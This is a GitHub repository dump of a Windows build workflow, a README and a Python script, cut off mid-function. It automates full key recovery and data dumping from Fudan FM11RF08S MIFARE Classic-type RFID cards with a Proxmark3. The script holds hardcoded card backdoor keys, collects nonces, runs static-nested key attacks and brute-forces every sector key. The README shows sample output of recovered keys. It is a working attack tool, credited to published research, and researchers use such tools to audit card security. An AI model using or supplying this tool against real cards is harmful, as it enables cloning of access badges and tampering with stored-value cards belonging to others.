├── .github └── workflows │ └── build.yml ├── README.md ├── fm11rf08s_recovery.py └── LICENSE /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Windows Build 2 | 3 | on: 4 | workflow_dispatch: 5 | push: 6 | tags: 7 | - "v*" 8 | 9 | jobs: 10 | build: 11 | name: Build 12 | runs-on: windows-latest 13 | defaults: 14 | run: 15 | shell: pwsh 16 | env: 17 | PATH: C:/ProxSpace/msys2/mingw64/bin;C:/ProxSpace/msys2/usr/local/bin;C:/ProxSpace/msys2/usr/bin;C:/ProxSpace/msys2/bin 18 | MSYSTEM: MINGW64 19 | PYTHONHOME: /mingw64 20 | 21 | steps: 22 | - uses: actions/cache@v4 23 | id: cache 24 | with: 25 | path: C:\ProxSpace 26 | key: ProxSpace 27 | 28 | - name: ProxSpace download 29 | if: steps.cache.outputs.cache-hit != 'true' 30 | run: Invoke-WebRequest "https://github.com/Gator96100/ProxSpace/archive/master.zip" -outfile "C:\proxspace.zip" -Passthru 31 | 32 | - name: ProxSpace extract 33 | if: steps.cache.outputs.cache-hit != 'true' 34 | run: Expand-Archive -LiteralPath "C:\proxspace.zip" -DestinationPath "C:\" 35 | 36 | - name: ProxSpace delete zip 37 | if: steps.cache.outputs.cache-hit != 'true' 38 | run: Remove-Item "C:\proxspace.zip" 39 | 40 | - name: ProxSpace rename folder 41 | if: steps.cache.outputs.cache-hit != 'true' 42 | run: Get-ChildItem -Path "C:\ProxSpace-*" | Rename-Item -NewName (Split-Path C:\ProxSpace -Leaf) 43 | 44 | - name: ProxSpace version 45 | run: | 46 | $psversion = (Select-String -Pattern 'PSVERSION=' -SimpleMatch -Path "C:\ProxSpace\setup\09-proxspace_setup.post").Line.Split("""")[1] 47 | Write-Host "ProxSpace version: $psversion" 48 | 49 | - name: ProxSpace initial startup 50 | if: steps.cache.outputs.cache-hit != 'true' 51 | working-directory: C:\ProxSpace 52 | run: ./runme64.bat -c "exit" 53 | 54 | - uses: actions/checkout@v4 55 | with: 56 | repository: RfidResearchGroup/proxmark3 57 | 58 | - name: Build mfc_card_only 59 | env: 60 | CFLAGS: -static 61 | CXXFLAGS: -static 62 | LDFLAGS: -static 63 | run: make -j $([System.Environment]::ProcessorCount + 1) V=1 mfc_card_only 64 | 65 | - name: Upload artifact 66 | uses: actions/upload-artifact@v4 67 | with: 68 | path: tools/mfc/card_only/*.exe 69 | 70 | release: 71 | name: Release 72 | needs: build 73 | runs-on: ubuntu-latest 74 | if: startsWith(github.ref, 'refs/tags/v') 75 | permissions: 76 | contents: write 77 | id-token: write 78 | attestations: write 79 | steps: 80 | - name: Download artifact 81 | uses: actions/download-artifact@v4 82 | with: 83 | merge-multiple: true 84 | 85 | - name: Publish release 86 | id: publish 87 | uses: softprops/action-gh-release@v1 88 | with: 89 | fail_on_unmatched_files: true 90 | files: | 91 | * 92 | 93 | - name: Attest Release Files 94 | id: attest 95 | uses: actions/attest-build-provenance@v1 96 | with: 97 | subject-path: | 98 | * 99 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Proxmark3 for Fudan Card Full Data Extraction 2 | 3 | One-click extraction of fully encrypted Fudan card data. 4 | 5 | ## License 6 | 7 | This project is licensed under the GPLv3, same as the license of `RfidResearchGroup/proxmark3` . 8 | 9 | ## Contribute 10 | 11 | All code is sourced from the `RfidResearchGroup/proxmark3` repository. Special thanks to Philippe Teuwen and other contributors for their work in developing and open-sourcing this code. 12 | 13 | ## Usage 14 | 15 | 1. Download or compile the Proxmark3 client. (Precompiled builds can be downloaded from [https://www.proxmarkbuilds.org/](https://www.proxmarkbuilds.org/)). **Ensure that the client and firmware versions match!** 16 | 17 | 2. Download the necessary binary from the release. 18 | 19 | 3. Download `fm11rf08s_recovery.py` from this repository. 20 | 21 | Make sure to place all the files in the same directory. The file structure should look like this: 22 | 23 | ``` 24 | ./ 25 | │ fm11rf08s_recovery.py 26 | │ nonce2key.exe 27 | │ staticnested_0nt.exe 28 | │ staticnested_1nt.exe 29 | │ staticnested_2nt.exe 30 | │ staticnested_2x1nt_rf08s.exe 31 | │ staticnested_2x1nt_rf08s_1key.exe 32 | └───client 33 | │ pm3 34 | │ pm3-flash 35 | │ pm3-flash-all 36 | │ pm3-flash-bootrom 37 | │ pm3-flash-fullimage 38 | │ proxmark3.exe 39 | │ setup.bat 40 | │ // ...spin... 41 | └───libs 42 | └───// ...spin... 43 | ``` 44 | 45 | 4. Run `fm11rf08s_recovery.py --port COM1`, `COM1` is the serial port of Proxmark3. 46 | 47 | The script will output something like this: 48 | 49 | ``` 50 | [+] UID: 12 34 56 78 51 | [=] UID: 12345678 52 | [=] Getting nonces... 53 | [=] Generating first dump file 54 | [=] Data has been dumped to `hf-mf-12345678-dump.bin` 55 | [=] ----Step 1: 0 minutes 5 seconds ----------- 56 | [=] Running staticnested_1nt & 2x1nt when doable... 57 | [=] Looking for common keys across sectors... 58 | [=] Saving duplicates dicts... 59 | [=] Computing needed time for attack... 60 | [=] ----Step 2: 0 minutes 27 seconds ----------- 61 | [=] Still about 4 minutes 51 seconds to run... 62 | [=] Brute-forcing keys... Press any key to interrupt 63 | [=] Sector 0 keyA = 01234567890a 64 | [=] Sector 0 keyB = 01234567890a 65 | [=] Sector 1 keyB = 01234567890a 66 | [=] Sector 1 keyA = 01234567890a 67 | [=] Sector 2 keyB = 01234567890a 68 | [=] Sector 2 keyA = 01234567890a 69 | [=] Sector 3 keyB = 01234567890a 70 | [=] Sector 3 keyA = 01234567890a 71 | [=] Sector 4 keyB = 01234567890a 72 | [=] Sector 4 keyA = 01234567890a 73 | [=] Sector 5 keyB = 01234567890a 74 | [=] Sector 5 keyA = 01234567890a 75 | [=] Sector 6 keyA = 01234567890a 76 | [=] Sector 6 keyB = 01234567890a 77 | [=] Sector 7 keyA = 01234567890a 78 | [=] Sector 7 keyB = 01234567890a 79 | [=] Sector 8 keyA = 01234567890a 80 | [=] Sector 8 keyB = 01234567890a 81 | [=] Sector 9 keyA = 01234567890a 82 | [=] Sector 9 keyB = 01234567890a 83 | [=] Sector 10 keyA = 01234567890a 84 | [=] Sector 10 keyB = 01234567890a 85 | [=] Sector 11 keyA = 01234567890a 86 | [=] Sector 11 keyB = 01234567890a 87 | [=] Sector 12 keyA = 01234567890a 88 | [=] Sector 12 keyB = 01234567890a 89 | [=] Sector 13 keyA = 01234567890a 90 | [=] Sector 13 keyB = 01234567890a 91 | [=] Sector 14 keyA = 01234567890a 92 | [=] Sector 14 keyB = 01234567890a 93 | [=] Sector 15 keyA = 01234567890a 94 | [=] Sector 15 keyB = 01234567890a 95 | [=] Sector 32 keyB = 01234567890a 96 | [=] Sector 32 keyA = 01234567890a 97 | [=] 98 | [+] found keys: 99 | [+] 100 | [+] -----+-----+--------------+---+--------------+---- 101 | [+] Sec | Blk | key A |res| key B |res 102 | [+] -----+-----+--------------+---+--------------+---- 103 | [+] 000 | 003 | 01234567890a | 1 | 01234567890a | 1 104 | [+] 001 | 007 | 01234567890a | 1 | 01234567890a | 1 105 | [+] 002 | 011 | 01234567890a | 1 | 01234567890a | 1 106 | [+] 003 | 015 | 01234567890a | 1 | 01234567890a | 1 107 | [+] 004 | 019 | 01234567890a | 1 | 01234567890a | 1 108 | [+] 005 | 023 | 01234567890a | 1 | 01234567890a | 1 109 | [+] 006 | 027 | 01234567890a | 1 | 01234567890a | 1 110 | [+] 007 | 031 | 01234567890a | 1 | 01234567890a | 1 111 | [+] 008 | 035 | 01234567890a | 1 | 01234567890a | 1 112 | [+] 009 | 039 | 01234567890a | 1 | 01234567890a | 1 113 | [+] 010 | 043 | 01234567890a | 1 | 01234567890a | 1 114 | [+] 011 | 047 | 01234567890a | 1 | 01234567890a | 1 115 | [+] 012 | 051 | 01234567890a | 1 | 01234567890a | 1 116 | [+] 013 | 055 | 01234567890a | 1 | 01234567890a | 1 117 | [+] 014 | 059 | 01234567890a | 1 | 01234567890a | 1 118 | [+] 015 | 063 | 01234567890a | 1 | 01234567890a | 1 119 | [+] -----+-----+--------------+---+--------------+---- 120 | [+] ( 0:Failed / 1:Success ) 121 | [=] 122 | [+] Generating binary key file 123 | [+] Found keys have been dumped to `hf-mf-12345678-key.bin` 124 | [+] Generating final dump file 125 | [+] Data has been dumped to `hf-mf-12345678-dump.bin` 126 | [+] Removing generated dictionaries... 127 | [=] ----Step 3: 4 minutes 30 seconds ----------- 128 | [=] ---- TOTAL: 5 minutes 3 seconds ----------- 129 | ``` 130 | 131 | ## Reference 132 | 133 | Teuwen, P. (2024). *MIFARE Classic: Exposing the Static Encrypted Nonce Variant*. Cryptology ePrint Archive, Paper 2024/1275. Retrieved from [https://eprint.iacr.org/2024/1275](https://eprint.iacr.org/2024/1275) 134 | -------------------------------------------------------------------------------- /fm11rf08s_recovery.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Combine several attacks to recover all FM11RF08S keys 4 | # 5 | # Conditions: 6 | # * Presence of the backdoor with known key 7 | # 8 | # Duration strongly depends on some key being reused and where. 9 | # Examples: 10 | # * 32 random keys: ~20 min 11 | # * 16 random keys with keyA==keyB in each sector: ~30 min 12 | # * 24 random keys, some reused across sectors: <1 min 13 | # 14 | # Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info 15 | 16 | import os 17 | import sys 18 | import time 19 | import subprocess 20 | import argparse 21 | import json 22 | 23 | # optional color support 24 | try: 25 | # pip install ansicolors 26 | from colors import color 27 | except ModuleNotFoundError: 28 | 29 | def color(s, fg=None): 30 | _ = fg 31 | return str(s) 32 | 33 | 34 | # First try FM11RF08S key 35 | # Then FM11RF08 key as some rare *98 cards are using it too 36 | # Then FM11RF32N key, just in case... 37 | BACKDOOR_KEYS = ["A396EFA4E24F", "A31667A8CEC1", "518B3354E760"] 38 | 39 | NUM_SECTORS = 16 40 | NUM_EXTRA_SECTORS = 1 41 | DICT_DEF = "mfc_default_keys.dic" 42 | DEFAULT_KEYS = set() 43 | if __name__ == "__main__": 44 | DIR_PATH = os.path.dirname(os.path.abspath(sys.argv[0])) 45 | else: 46 | DIR_PATH = os.path.dirname(os.path.abspath(__file__)) 47 | 48 | TOOLS_PATH = DIR_PATH 49 | 50 | PROXMARK3_CLIENT_PATH = f"{DIR_PATH}\\client" 51 | DICT_DEF_PATH = f"{PROXMARK3_CLIENT_PATH}\\dictionaries\\{DICT_DEF}" 52 | env = os.environ.copy() 53 | env["QT_PLUGIN_PATH"] = f"{PROXMARK3_CLIENT_PATH}\\libs" 54 | env["HOME"] = PROXMARK3_CLIENT_PATH 55 | env["QT_QPA_PLATFORM_PLUGIN_PATH"] = f"{PROXMARK3_CLIENT_PATH}\\libs" 56 | env["PATH"] = f"{PROXMARK3_CLIENT_PATH}\\libs;{PROXMARK3_CLIENT_PATH}\\libs\\shell;" 57 | env["MSYSTEM"] = "MINGW64" 58 | 59 | tools = { 60 | "staticnested_1nt": os.path.join(f"{TOOLS_PATH}", "staticnested_1nt"), 61 | "staticnested_2x1nt": os.path.join(f"{TOOLS_PATH}", "staticnested_2x1nt_rf08s"), 62 | "staticnested_2x1nt1key": os.path.join( 63 | f"{TOOLS_PATH}", "staticnested_2x1nt_rf08s_1key" 64 | ), 65 | } 66 | for tool, bin in tools.items(): 67 | if not os.path.isfile(bin): 68 | if os.path.isfile(bin + ".exe"): 69 | tools[tool] = bin + ".exe" 70 | else: 71 | print(f"Cannot find {bin}, abort!") 72 | exit() 73 | 74 | 75 | def recovery( 76 | init_check=False, 77 | final_check=False, 78 | keep=False, 79 | debug=False, 80 | supply_chain=False, 81 | quiet=True, 82 | keyset=False, 83 | port=None, 84 | ): 85 | def show(s="", prompt="[" + color("=", fg="yellow") + "] ", **kwargs): 86 | if not quiet: 87 | s = f"{prompt}" + f"\n{prompt}".join(s.split("\n")) 88 | print(s, **kwargs) 89 | 90 | start_time = time.time() 91 | 92 | pm3 = subprocess.Popen( 93 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 94 | shell=True, 95 | stdout=subprocess.PIPE, 96 | stdin=subprocess.PIPE, 97 | stderr=subprocess.PIPE, 98 | env=env, 99 | ) 100 | 101 | uid = None 102 | out, _ = pm3.communicate(b"hf 14a read\n") 103 | 104 | for line in out.decode("gbk").split("\n"): 105 | if "UID:" in line: 106 | print(line) 107 | uid = int(line.replace("UID:", "").strip().replace(" ", "")[-8:], 16) 108 | 109 | if uid is None: 110 | show("Card not found") 111 | return False 112 | show("UID: " + color(f"{uid:08X}", fg="green")) 113 | 114 | def show_key(sec, key_type, key): 115 | kt = ["A", "B"][key_type] 116 | show(f"Sector {sec:2} key{kt} = " + color(key, fg="green")) 117 | 118 | save_path = f"{DIR_PATH}\\" 119 | 120 | found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 121 | 122 | if keyset != False: 123 | n = min(len(found_keys), len(keyset)) 124 | show(f"{n} Key pairs supplied: ") 125 | for i in range(0, n): 126 | found_keys[i] = keyset[i] 127 | show( 128 | f" Sector {i:2d} : A = {found_keys[i][0]:12s} B = {found_keys[i][1]:12s}" 129 | ) 130 | 131 | if init_check: 132 | show("Checking default keys...") 133 | cmd = "hf mf fchk" 134 | pm3 = subprocess.Popen( 135 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 136 | shell=True, 137 | stdout=subprocess.PIPE, 138 | stdin=subprocess.PIPE, 139 | stderr=subprocess.PIPE, 140 | env=env, 141 | ) 142 | out, _ = pm3.communicate(cmd.encode()) 143 | for line in out.decode("gbk").split("\n"): 144 | if "[+] 0" in line: 145 | res = [x.strip() for x in line.split("|")] 146 | sec = int(res[0][4:]) 147 | if res[3] == "1": 148 | found_keys[sec][0] = res[2] 149 | show_key(sec, 0, found_keys[sec][0]) 150 | if res[5] == "1": 151 | found_keys[sec][1] = res[4] 152 | show_key(sec, 1, found_keys[sec][1]) 153 | 154 | show("Getting nonces...") 155 | nonces_with_data = "" 156 | for key in BACKDOOR_KEYS: 157 | cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}" 158 | 159 | pm3 = subprocess.Popen( 160 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 161 | shell=True, 162 | stdout=subprocess.PIPE, 163 | stdin=subprocess.PIPE, 164 | stderr=subprocess.PIPE, 165 | env=env, 166 | ) 167 | out, _ = pm3.communicate(cmd.encode()) 168 | for line in out.decode("gbk").split("\n"): 169 | if "Wrong" in line or "error" in line: 170 | break 171 | if "Saved" in line: 172 | nonces_with_data = line[line.index("`") :].strip("`") 173 | if nonces_with_data != "": 174 | break 175 | 176 | if nonces_with_data == "": 177 | show("Error getting nonces, abort.") 178 | return False 179 | 180 | try: 181 | with open(nonces_with_data.replace("`", "").strip(), "r") as file: 182 | # Load and parse the JSON data 183 | dict_nwd = json.load(file) 184 | except json.decoder.JSONDecodeError: 185 | show(f"Error parsing {nonces_with_data}, abort.") 186 | return False 187 | 188 | nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 189 | nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 190 | par_err = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 191 | data = ["" for _ in range(NUM_SECTORS * 4)] 192 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 193 | real_sec = sec 194 | if sec >= NUM_SECTORS: 195 | real_sec += 16 196 | nt[sec][0] = dict_nwd["nt"][f"{real_sec}"]["a"].lower() 197 | nt[sec][1] = dict_nwd["nt"][f"{real_sec}"]["b"].lower() 198 | nt_enc[sec][0] = dict_nwd["nt_enc"][f"{real_sec}"]["a"].lower() 199 | nt_enc[sec][1] = dict_nwd["nt_enc"][f"{real_sec}"]["b"].lower() 200 | par_err[sec][0] = dict_nwd["par_err"][f"{real_sec}"]["a"] 201 | par_err[sec][1] = dict_nwd["par_err"][f"{real_sec}"]["b"] 202 | for blk in range(NUM_SECTORS * 4): 203 | data[blk] = dict_nwd["blocks"][f"{blk}"] 204 | 205 | show("Generating first dump file") 206 | dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" 207 | with open(dumpfile, "wb") as f: 208 | for sec in range(NUM_SECTORS): 209 | for b in range(4): 210 | d = data[(sec * 4) + b] 211 | if b == 3: 212 | ka = found_keys[sec][0] 213 | kb = found_keys[sec][1] 214 | if ka == "": 215 | ka = "FFFFFFFFFFFF" 216 | if kb == "": 217 | kb = "FFFFFFFFFFFF" 218 | d = ka + d[12:20] + kb 219 | f.write(bytes.fromhex(d)) 220 | show(f"Data has been dumped to `{dumpfile}`") 221 | 222 | elapsed_time1 = time.time() - start_time 223 | minutes = int(elapsed_time1 // 60) 224 | seconds = int(elapsed_time1 % 60) 225 | show( 226 | "----Step 1: " 227 | + color(f"{minutes:2}", fg="yellow") 228 | + " minutes " 229 | + color(f"{seconds:2}", fg="yellow") 230 | + " seconds -----------" 231 | ) 232 | 233 | if os.path.isfile(DICT_DEF_PATH): 234 | show(f"Loading {DICT_DEF}") 235 | with open(DICT_DEF_PATH, "r", encoding="utf-8") as file: 236 | for line in file: 237 | if line[0] != "#" and len(line) >= 12: 238 | DEFAULT_KEYS.add(line[:12]) 239 | else: 240 | show(f"Warning, {DICT_DEF} not found.") 241 | 242 | dict_dnwd = None 243 | def_nt = ["" for _ in range(NUM_SECTORS)] 244 | if supply_chain: 245 | try: 246 | default_nonces = f"{save_path}hf-mf-{uid:04X}-default_nonces.json" 247 | with open(default_nonces, "r") as file: 248 | # Load and parse the JSON data 249 | dict_dnwd = json.load(file) 250 | for sec in range(NUM_SECTORS): 251 | def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower() 252 | show(f"Loaded default nonces from {default_nonces}.") 253 | except FileNotFoundError: 254 | pass 255 | except json.decoder.JSONDecodeError: 256 | show(f"Error parsing {default_nonces}, skipping.") 257 | 258 | show("Running staticnested_1nt & 2x1nt when doable...") 259 | keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 260 | all_keys = set() 261 | duplicates = set() 262 | # Availability of filtered dicts 263 | filtered_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 264 | found_default = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 265 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 266 | real_sec = sec 267 | if sec >= NUM_SECTORS: 268 | real_sec += 16 269 | if found_keys[sec][0] != "" and found_keys[sec][1] != "": 270 | continue 271 | if ( 272 | found_keys[sec][0] == "" 273 | and found_keys[sec][1] == "" 274 | and nt[sec][0] != nt[sec][1] 275 | ): 276 | for key_type in [0, 1]: 277 | cmd = [ 278 | tools["staticnested_1nt"], 279 | f"{uid:08X}", 280 | f"{real_sec}", 281 | nt[sec][key_type], 282 | nt_enc[sec][key_type], 283 | par_err[sec][key_type], 284 | ] 285 | if debug: 286 | print(" ".join(cmd)) 287 | subprocess.run(cmd, capture_output=True) 288 | cmd = [ 289 | tools["staticnested_2x1nt"], 290 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", 291 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic", 292 | ] 293 | if debug: 294 | print(" ".join(cmd)) 295 | subprocess.run(cmd, capture_output=True) 296 | filtered_dicts[sec][key_type] = True 297 | for key_type in [0, 1]: 298 | keys_set = set() 299 | with open( 300 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" 301 | ) as f: 302 | while line := f.readline().rstrip(): 303 | keys_set.add(line) 304 | keys[sec][key_type] = keys_set.copy() 305 | duplicates.update(all_keys.intersection(keys_set)) 306 | all_keys.update(keys_set) 307 | if dict_dnwd is not None and sec < NUM_SECTORS: 308 | # Prioritize keys from supply-chain attack 309 | cmd = [ 310 | tools["staticnested_2x1nt1key"], 311 | def_nt[sec], 312 | "FFFFFFFFFFFF", 313 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", 314 | ] 315 | if debug: 316 | print(" ".join(cmd)) 317 | result = subprocess.run(cmd, capture_output=True, text=True).stdout 318 | keys_def_set = set() 319 | for line in result.split("\n"): 320 | if "MATCH:" in line: 321 | keys_def_set.add(line[12:]) 322 | keys_set.difference_update(keys_def_set) 323 | else: 324 | # Prioritize default keys 325 | keys_def_set = DEFAULT_KEYS.intersection(keys_set) 326 | keys_set.difference_update(keys_def_set) 327 | # Prioritize sector 32 keyB starting with 0000 328 | if real_sec == 32: 329 | keyb32cands = set(x for x in keys_set if x.startswith("0000")) 330 | keys_def_set.update(keyb32cands) 331 | keys_set.difference_update(keyb32cands) 332 | if len(keys_def_set) > 0: 333 | found_default[sec][key_type] = True 334 | with open( 335 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", 336 | "w", 337 | ) as f: 338 | for k in keys_def_set: 339 | f.write(f"{k}\n") 340 | for k in keys_set: 341 | f.write(f"{k}\n") 342 | else: # one key not found or both identical 343 | if found_keys[sec][0] == "": 344 | key_type = 0 345 | else: 346 | key_type = 1 347 | cmd = [ 348 | tools["staticnested_1nt"], 349 | f"{uid:08X}", 350 | f"{real_sec}", 351 | nt[sec][key_type], 352 | nt_enc[sec][key_type], 353 | par_err[sec][key_type], 354 | ] 355 | if debug: 356 | print(" ".join(cmd)) 357 | subprocess.run(cmd, capture_output=True) 358 | keys_set = set() 359 | with open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic") as f: 360 | while line := f.readline().rstrip(): 361 | keys_set.add(line) 362 | keys[sec][key_type] = keys_set.copy() 363 | duplicates.update(all_keys.intersection(keys_set)) 364 | all_keys.update(keys_set) 365 | if dict_dnwd is not None and sec < NUM_SECTORS: 366 | # Prioritize keys from supply-chain attack 367 | cmd = [ 368 | tools["staticnested_2x1nt1key"], 369 | def_nt[sec], 370 | "FFFFFFFFFFFF", 371 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", 372 | ] 373 | if debug: 374 | print(" ".join(cmd)) 375 | result = subprocess.run(cmd, capture_output=True, text=True).stdout 376 | keys_def_set = set() 377 | for line in result.split("\n"): 378 | if "MATCH:" in line: 379 | keys_def_set.add(line[12:]) 380 | keys_set.difference_update(keys_def_set) 381 | else: 382 | # Prioritize default keys 383 | keys_def_set = DEFAULT_KEYS.intersection(keys_set) 384 | keys_set.difference_update(keys_def_set) 385 | if len(keys_def_set) > 0: 386 | found_default[sec][key_type] = True 387 | with open( 388 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w" 389 | ) as f: 390 | for k in keys_def_set: 391 | f.write(f"{k}\n") 392 | for k in keys_set: 393 | f.write(f"{k}\n") 394 | 395 | show("Looking for common keys across sectors...") 396 | keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 397 | for dup in duplicates: 398 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 399 | for key_type in [0, 1]: 400 | if dup in keys[sec][key_type]: 401 | keys_filtered[sec][key_type].add(dup) 402 | 403 | # Availability of duplicates dicts 404 | duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 405 | first = True 406 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 407 | real_sec = sec 408 | if sec >= NUM_SECTORS: 409 | real_sec += 16 410 | for key_type in [0, 1]: 411 | if len(keys_filtered[sec][key_type]) > 0: 412 | if first: 413 | show("Saving duplicates dicts...") 414 | first = False 415 | with open( 416 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", 417 | "w", 418 | ) as f: 419 | keys_set = keys_filtered[sec][key_type].copy() 420 | keys_def_set = DEFAULT_KEYS.intersection(keys_set) 421 | keys_set.difference_update(DEFAULT_KEYS) 422 | for k in keys_def_set: 423 | f.write(f"{k}\n") 424 | for k in keys_set: 425 | f.write(f"{k}\n") 426 | duplicates_dicts[sec][key_type] = True 427 | 428 | show("Computing needed time for attack...") 429 | candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] 430 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 431 | real_sec = sec 432 | if sec >= NUM_SECTORS: 433 | real_sec += 16 434 | for key_type in [0, 1]: 435 | if ( 436 | found_keys[sec][0] == "" 437 | and found_keys[sec][1] == "" 438 | and duplicates_dicts[sec][key_type] 439 | ): 440 | kt = ["a", "b"][key_type] 441 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" 442 | with open(dic, "r") as file: 443 | count = sum(1 for _ in file) 444 | # print(f"dic {dic} size {count}") 445 | candidates[sec][key_type] = count 446 | if nt[sec][0] == nt[sec][1]: 447 | candidates[sec][key_type ^ 1] = 1 448 | for key_type in [0, 1]: 449 | if ( 450 | found_keys[sec][0] == "" 451 | and found_keys[sec][1] == "" 452 | and filtered_dicts[sec][key_type] 453 | and candidates[sec][0] == 0 454 | and candidates[sec][1] == 0 455 | ): 456 | if found_default[sec][key_type]: 457 | # We assume the default key is correct 458 | candidates[sec][key_type] = 1 459 | else: 460 | kt = ["a", "b"][key_type] 461 | dic = ( 462 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" 463 | ) 464 | with open(dic, "r") as file: 465 | count = sum(1 for _ in file) 466 | # print(f"dic {dic} size {count}") 467 | candidates[sec][key_type] = count 468 | if ( 469 | found_keys[sec][0] == "" 470 | and found_keys[sec][1] == "" 471 | and nt[sec][0] == nt[sec][1] 472 | and candidates[sec][0] == 0 473 | and candidates[sec][1] == 0 474 | ): 475 | if found_default[sec][0]: 476 | # We assume the default key is correct 477 | candidates[sec][0] = 1 478 | candidates[sec][1] = 1 479 | else: 480 | key_type = 0 481 | kt = ["a", "b"][key_type] 482 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" 483 | with open(dic, "r") as file: 484 | count = sum(1 for _ in file) 485 | # print(f"dic {dic} size {count}") 486 | candidates[sec][0] = count 487 | candidates[sec][1] = 1 488 | 489 | if debug: 490 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 491 | real_sec = sec 492 | if sec >= NUM_SECTORS: 493 | real_sec += 16 494 | show( 495 | f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} " 496 | ) 497 | total_candidates = sum( 498 | candidates[sec][0] + candidates[sec][1] 499 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS) 500 | ) 501 | 502 | elapsed_time2 = time.time() - start_time - elapsed_time1 503 | minutes = int(elapsed_time2 // 60) 504 | seconds = int(elapsed_time2 % 60) 505 | show( 506 | "----Step 2: " 507 | + color(f"{minutes:2}", fg="yellow") 508 | + " minutes " 509 | + color(f"{seconds:2}", fg="yellow") 510 | + " seconds -----------" 511 | ) 512 | 513 | # fchk: 147 keys/s. Correct key found after 50% of candidates on average 514 | FCHK_KEYS_S = 147 515 | foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5 516 | minutes = int(foreseen_time // 60) 517 | seconds = int(foreseen_time % 60) 518 | show( 519 | "Still about " 520 | + color(f"{minutes:2}", fg="yellow") 521 | + " minutes " 522 | + color(f"{seconds:2}", fg="yellow") 523 | + " seconds to run..." 524 | ) 525 | 526 | abort = False 527 | show("Brute-forcing keys... Press any key to interrupt") 528 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 529 | real_sec = sec 530 | if sec >= NUM_SECTORS: 531 | real_sec += 16 532 | for key_type in [0, 1]: 533 | # If we have a duplicates dict 534 | # note: we skip if we already know one key 535 | # as using 2x1nt1key later will be faster 536 | if ( 537 | found_keys[sec][0] == "" 538 | and found_keys[sec][1] == "" 539 | and duplicates_dicts[sec][key_type] 540 | ): 541 | kt = ["a", "b"][key_type] 542 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" 543 | cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" 544 | if debug: 545 | print(cmd) 546 | pm3 = subprocess.Popen( 547 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 548 | shell=True, 549 | stdout=subprocess.PIPE, 550 | stdin=subprocess.PIPE, 551 | stderr=subprocess.PIPE, 552 | env=env, 553 | ) 554 | out, _ = pm3.communicate(cmd.encode()) 555 | for line in out.decode("gbk").split("\n"): 556 | if "aborted via keyboard" in line: 557 | abort = True 558 | if "found:" in line: 559 | found_keys[sec][key_type] = line[30:].strip() 560 | show_key(real_sec, key_type, found_keys[sec][key_type]) 561 | if ( 562 | nt[sec][0] == nt[sec][1] 563 | and found_keys[sec][key_type ^ 1] == "" 564 | ): 565 | found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] 566 | show_key( 567 | real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1] 568 | ) 569 | if abort: 570 | break 571 | if abort: 572 | break 573 | 574 | for key_type in [0, 1]: 575 | # If we have a filtered dict 576 | # note: we skip if we already know one key 577 | # as using 2x1nt1key later will be faster 578 | if ( 579 | found_keys[sec][0] == "" 580 | and found_keys[sec][1] == "" 581 | and filtered_dicts[sec][key_type] 582 | ): 583 | # Use filtered dict 584 | kt = ["a", "b"][key_type] 585 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" 586 | cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" 587 | if debug: 588 | print(cmd) 589 | pm3 = subprocess.Popen( 590 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 